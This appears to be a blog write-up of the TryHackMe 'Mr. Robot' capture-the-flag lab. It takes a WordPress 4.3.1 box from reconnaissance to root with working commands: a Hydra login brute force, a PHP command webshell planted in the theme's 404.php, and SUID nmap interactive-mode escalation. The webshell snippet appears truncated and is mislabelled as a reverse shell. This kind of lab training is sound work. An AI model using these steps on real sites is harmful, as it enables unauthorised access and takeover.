> ## Content Index > Fetch the complete content index at: https://taiwanding.com/llms.txt > Use this file to discover other available public pages before exploring further. # TryHackMe Mr. Robot Writeup: WordPress RCE to Root - URL: https://taiwanding.com/en/tryhackme-mr-robot-writeup/ - Published: 2025-10-31T09:22:47.000Z - Updated: 2026-07-15T02:50:08.000Z - Author: Kevin Chen - Tags: #en, #en-machine ## Room Info - Platform: TryHackMe - Room name: Mr. Robot - Difficulty: Medium - Objective: Collect all three keys - Theme: Based on the Mr. Robot TV series - Link: [https://tryhackme.com/room/mrrobot](https://tryhackme.com/room/mrrobot?ref=taiwanding.com) ## Service Discovery ```bash rustscan -a 10.201.110.68 -b 2000 -t 2000 -- -A -sV -sC ``` - Port 22: SSH (OpenSSH 8.2p1 Ubuntu) - Port 80: HTTP (Apache) - Port 443: HTTPS (Apache) ### Step 1: Directory Enumeration & Initial Recon Check robots.txt: ```bash curl http://10.201.110.68/robots.txt ``` Key findings: - `key-1-of-3.txt` \- the first key - `fsocity.dic` \- a wordlist file (download it for later) ```bash wget http://10.201.110.68/fsocity.dic ``` Found a hidden admin page and a WordPress install: ```bash gobuster dir -u http://10.201.110.68/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5 /admin/index.html - ASCII art "YOU ARE NOT ALONE" — this is actually just what the homepage looks like /wp-login.php - WordPress login page ``` ### Step 3: WordPress Recon Scan with WPScan: ```bash wpscan --url http://10.201.110.68 ``` Findings: - WordPress 4.3.1 (Insecure, 2015-09-15) - Theme: twentyfifteen 1.3 - XML-RPC enabled ### Step 4: Enumerate WordPress Users Clean up the wordlist (remove duplicates): ```bash sort fsocity.dic | uniq > fsocity_clean.dic ``` Using Burp Suite Intruder to test usernames, watch for differences in the error messages: - `Invalid username` \- the user does not exist - `The password you entered for...` \- the user exists Valid username found: `elliot` ### Step 5: Brute-force the WordPress Password Use Burp Suite Intruder with the same fsocity\_clean.dic wordlist to brute-force the password. Alternatively, brute-force it with Hydra: ```bash hydra -l elliot -P fsocity_clean.dic 10.201.110.68 http-post-form \ "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect" -t 30 ``` Valid credentials: - Username: `elliot` - Password: `ER28-0652` ### Step 6: Plant a Webshell via the WordPress Admin Panel Log into the WordPress admin panel and edit a theme file: **Appearance → Editor → 404.php** Inject a PHP reverse shell: ```php "; system($_GET["cmd"]); echo ""; ?> ``` Hit any random page on the site to trigger the 404 — say, aaa. For example: `http://10.201.110.68/aaa?cmd=ls` `http://10.201.110.68/aaa?cmd=whoami` Successfully obtained a `www-data` shell. ### Step 7: Find the Second Key Explore the /home/robot directory: ```bash www-data@ip-10-201-110-68:~$ ls -la /home/robot -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5 ``` Read the MD5 hash: ```bash www-data@ip-10-201-110-68:~$ cat /home/robot/password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b ``` ### Step 8: Crack the MD5 Just Google the hash directly. Cracked result: `abcdefghijklmnopqrstuvwxyz` (a weak password) ### Step 9: Switch to the robot User Log in via SSH: ```bash ssh robot@10.201.110.68 # password: [the cracked plaintext password] ``` Upgrade the restricted shell: ```bash /bin/bash ``` Grab the second key: ```bash robot@ip-10-201-110-68:~$ cat key-2-of-3.txt Redacted ``` ### Step 10: Privilege Escalation to Root Look for SUID binaries: ```bash find / -perm -4000 -type f 2>/dev/null ``` Suspicious entry found: `/usr/local/bin/nmap` ### Step 11: Nmap SUID Privilege Escalation Abuse the interactive mode of the old nmap version: ```bash robot@ip-10-201-110-68:~$ nmap --interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h for help nmap> !sh # whoami root ``` Grab the third key: ```bash root@ip-10-201-110-68:/root# cat key-3-of-3.txt Redacted ``` ## Key Takeaways ### **Deduplicating the Wordlist** - fsocity.dic contains a huge number of duplicates; deduplication cuts it down to 11K lines - This dramatically speeds up the brute-force ### **WordPress Error-Message Differences** - Use the differences in login error messages to enumerate valid usernames - Avoids blindly brute-forcing every username/password combination ### **Theme Editor RCE** - A WordPress admin can directly edit the theme's PHP files - 404.php is a common injection point — just visit a nonexistent page to trigger it ### **Nmap Interactive Mode Privilege Escalation** - Nmap 3.81 supports `--interactive` mode - With the SUID bit set, you can spawn a root shell directly with `!sh` - Modern versions have removed this feature